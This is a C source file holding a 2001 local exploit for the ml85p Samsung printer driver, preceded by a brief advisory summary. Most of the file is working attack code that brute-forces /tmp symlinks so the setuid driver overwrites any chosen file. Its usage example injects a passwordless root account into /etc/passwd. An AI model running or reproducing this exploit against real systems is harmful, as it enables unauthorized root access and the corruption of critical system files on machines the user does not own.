106 lines
No EOL
2.5 KiB
C
106 lines
No EOL
2.5 KiB
C
// source: https://www.securityfocus.com/bid/3008/info
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ml85p is a Linux driver for Samsung ML-85G series printers. It may be bundled with distributions of Ghostscript.
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ml85p does not check for symbolic links when creating image output files.
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These files are created in /tmp with a guessable naming format, making it trivial for attackers to exploit this vulnerability.
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Since user-supplied data is written to the target file, attackers may be able to elevate privileges.
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/* ml85p-xpl.c
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*
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* Quick hack to exploit ml85p
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*
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* Simply run it with the file you want to create/overwrite
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* and the data you wish to place in the file.
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*
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* Example:
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*
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* $ gcc -g -Wall ml85p-xpl.c -o ml85p-xpl
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* $ ./ml85p-xpl /etc/passwd owned::0:0::/root:/bin/bash
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*
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* Then login as owned... etc..
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*
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* by Charles Stevenson <core@ezlink.com>
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*
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* July 10 2001
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*
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* shoutz b10z
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <sys/types.h>
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#include <unistd.h>
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#include <time.h>
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#define TEMPFILE "/tmp/ez.XXXXXX"
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#define BRUTE 10
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void usage(char*);
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int main(int argc, char **argv){
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char tempfile[128] = TEMPFILE;
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int fd, i;
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time_t the_time;
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char temp[512];
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if (argc < 3){
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usage(argv[0]);
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}
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if((fd = mkstemp(tempfile))==-1){
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fprintf(stderr, "Error creating %s!\n",tempfile);
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exit(1);
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}
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/* begin lazy slacker coding */
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fprintf(stderr, "ml85p-xpl.c by core (c) 2001\n");
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fprintf(stderr, "> backing up %s to %s\n", argv[1], tempfile);
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/* backup old file */
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sprintf(temp, "/bin/cp %s %s", argv[1], tempfile);
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system(temp);
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/* set the date/time */
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sprintf(temp, "/bin/touch -r %s %s", argv[1], tempfile);
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system(temp);
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the_time = time(NULL);
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fprintf(stderr, "> creating a lot of symlinks\n");
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for (i=0;i<BRUTE;i++){
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/* BAD CODE: sprintf(gname,"/tmp/ml85g%d",time(0)); */
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sprintf(temp, "/tmp/ml85g%d", the_time+i);
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symlink(argv[1], temp);
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}
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sprintf(temp, "/bin/echo `perl -e 'print \"\\n\"'`%s > file; ml85p
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-sf file 2>&1>/dev/null & sleep 1; killall ml85p\n", argv[2]);
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fprintf(stderr, "Running a few times since I'm lazy.\n");
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for (i=0;i<BRUTE;i++){
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system(temp);
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//sleep(1);
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}
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sprintf(temp, "/bin/ls -l %s", argv[1]);
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system(temp);
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fprintf(stderr, "> cleaning up\n");
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sprintf(temp, "/bin/rm -f /tmp/ml85*");
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system(temp);
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fprintf(stderr, "All done. Enjoy!\n");
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return 0;
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}
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void usage(char *name){
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fprintf(stderr, "usage: %s <filename> <data>\n", name);
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exit(1);
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}
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/* EOF */ |